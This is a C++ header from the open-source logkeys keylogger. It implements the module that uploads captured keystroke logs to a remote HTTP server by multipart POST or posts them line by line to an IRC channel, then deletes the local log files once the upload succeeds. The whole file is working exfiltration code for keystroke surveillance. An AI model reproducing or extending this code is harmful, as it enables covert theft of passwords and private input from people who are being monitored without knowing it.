/*
  Copyleft (ɔ) 2009 Kernc
  This program is free software. It comes with absolutely no warranty whatsoever.
  See COPYING for further information.
  
  Project homepage: https://github.com/kernc/logkeys
*/

#ifndef _UPLOAD_H_
#define _UPLOAD_H_

#define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid"  // pid file for the remote-uploading process

namespace logkeys {

int sendall(int sockfd, const char *buf, size_t len)
{
  size_t total = 0;
  int n = 0;    // how many bytes we've sent
  size_t bytesleft = len;  // how many we have left to send

  while(total < len) {
    if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1)
      break;
    total += n;
    bytesleft -= n;
  }

  return n == -1 ? -1 : 0; // return -1 on failure, 0 on success
}

int open_connection(const char *server, const char *port)
{
  struct addrinfo *servinfo, *p;  // servinfo will point to IP results
  struct addrinfo hints = {0};
  hints.ai_family = AF_UNSPEC;      // will "resolve" both IPv4 or IPv6 addresses/hosts
  hints.ai_socktype = SOCK_STREAM;  // we will use TCP stream
  
  int status, sockfd;
  if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0)
    error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status));
  
  // loop through the servinfo list and connect to the first connectable address
  for (p = servinfo; p != NULL; p = p->ai_next) {
    if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
      continue;
    if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
      close(sockfd);
      continue;
    }
    break;
  }
  
  if (p == NULL) sockfd = -1;  // if connecting failed, return -1
  
  freeaddrinfo(servinfo);  // free the servinfo linked-list
  
  return sockfd;
}

char * read_socket(int sockfd)
{
#define STR_SIZE 1000000    
  static char str[STR_SIZE] = {0};
  if (recv(sockfd, str, STR_SIZE, 0) == -1)
    return NULL;
  return str;
}

int sockfd;
bool isKilled = false;

void uploader_signal_handler(int signal)
{
  isKilled = true;
  close(sockfd);
}

void start_remote_upload()
{
  int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
  if (pid_fd == -1) {
    error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'");
  }
  
  // catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully
  struct sigaction act = {{0}};
  act.sa_handler = uploader_signal_handler;
  sigaction(SIGHUP,  &act, NULL);
  sigaction(SIGINT,  &act, NULL);
  sigaction(SIGTERM, &act, NULL);
  
#define MAX_FILES 1000
  char successful[MAX_FILES] = {0};  // array holding results
  
  int last_index;  // determine how many logfiles.X are there
  for (last_index = 1; last_index < MAX_FILES; ++last_index) {
    std::stringstream filename;
    filename << args.logfile << '.' << last_index;
    std::ifstream ifs(filename.str().c_str());
    
    if (!ifs) break;
    ifs.close();
  }
  --last_index;  // logfile.last_index is the last one
  
  // POST to remote HTTP server
  if (!args.http_url.empty()) {
    
    std::string url = std::string(args.http_url);
    std::string port = "80";
    std::string host = url.substr(url.find("://") + 3);
    std::string location = host.substr(host.find("/"));
    host = host.substr(0, host.find("/"));
    
    if (host.find(":") != std::string::npos) {  // if port specified (i.e. "http://hostname:port/etc")
      port = host.substr(host.find(":") + 1);
      host = host.substr(0, host.find(":"));
    }
    
    srand(time(NULL));
    
    for (int i = 1; i <= last_index && !isKilled; ++i) {
      
      std::stringstream filename;
      filename << args.logfile << '.' << i;
      std::ifstream ifs(filename.str().c_str());
      
      if (!ifs) break;
      
      sockfd = open_connection(host.c_str(), port.c_str());
      
      if (sockfd == -1) break;
      
      std::string line, file_contents;
      while(getline(ifs, line)) file_contents += line + "\n";
      ifs.close();
      
      std::stringstream boundary, postdata, obuf;
      boundary << "---------------------------" << time(NULL) << rand() << rand();
      
      postdata << "--" << boundary.str() << "\r\n" << 
        "Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n"
        "Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n";
      
      obuf << 
        "POST " << location << " HTTP/1.1\r\n"
        "Host: " << host << "\r\n"
        "User-Agent: logkeys (https://github.com/kernc/logkeys)\r\n"
        "Accept: */*\r\n"
        "Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n"
        "Content-Length: " << postdata.str().size() << "\r\n"
        "\r\n" << postdata.str();
      
      if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
        close(sockfd);
        error(0, errno, "Error sending output");
        break;
      }
      sleep(1);
      
      if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0)
        ++successful[i - 1];
      
      if (successful[i - 1] && args.irc_server.empty()) remove(filename.str().c_str());
      
      close(sockfd);
    }
  }
  
  // post to remote IRC server
  if (!args.irc_server.empty() && !isKilled) {
    
    sockfd = open_connection(args.irc_server.c_str(), args.irc_port.c_str());
    if (sockfd == -1) { 
      remove(UPLOADER_PID_FILE);
      error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)");
    }
    
    fprintf(stderr, "posting IRC...\n");  // debug
    
    srand(time(NULL));
    int random = rand() % 999999;  // random 6 digits will be part of IRC nickname
    std::stringstream obuf;
    obuf << "USER lk" << random << " 8 * :https://github.com/kernc/logkeys\r\n"
            "NICK lk" << random << "\r\n";
    if (args.irc_entity[0] == '#')  // if entity is a channel, add command to join it
      obuf << "JOIN " << args.irc_entity << "\r\n";
    
    if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
      remove(UPLOADER_PID_FILE);
      error(EXIT_FAILURE, errno, "Error sending output");
    }
    obuf.clear();
    obuf.str("");
    
    for (int i = 1; i <= last_index && !isKilled; ++i) {
      std::stringstream filename;
      filename << args.logfile << '.' << i;
      std::ifstream ifs(filename.str().c_str());
      
      if (!ifs) break;
      
      std::string line;      
      while (std::getline(ifs, line)) {
#define IRC_MAX_LINE_SIZE 400
        while (line.size() > IRC_MAX_LINE_SIZE) {
          obuf << "PRIVMSG " << args.irc_entity << " :"
              << line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n";
          
          if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
            remove(UPLOADER_PID_FILE);
            error(EXIT_FAILURE, errno, "Error sending output");
          }
          obuf.clear();
          obuf.str("");
          sleep(1);
          line = line.substr(IRC_MAX_LINE_SIZE);
        }
        obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n";
        
        if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
          remove(UPLOADER_PID_FILE);
          error(EXIT_FAILURE, errno, "Error sending output");
        }
        obuf.clear();
        obuf.str("");
      }
      
      ifs.close();
      sleep(1);
      
      ++successful[i - 1];
    }
    close(sockfd);
  }
  
  char successful_treshold = 0; // determine how many post methods were supposed to be used
  if (!args.http_url.empty())   ++successful_treshold;
  if (!args.irc_server.empty()) ++successful_treshold;
  
  // remove all successfully uploaded files...
  for (int i = 1, j = 1; i <= last_index; ++i) {
    std::stringstream filename;
    filename << args.logfile << '.' << i;
    
    if (successful[i - 1] == successful_treshold) {
      remove(filename.str().c_str());
    }
    else if (i != j) {  // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+
      std::stringstream target_name;
      target_name << args.logfile << '.' << j;
      rename(filename.str().c_str(), target_name.str().c_str());
      ++j;
    }
  }
  
  close(pid_fd);
  remove(UPLOADER_PID_FILE);
}

} // namespace logkeys

#endif  // _UPLOAD_H_
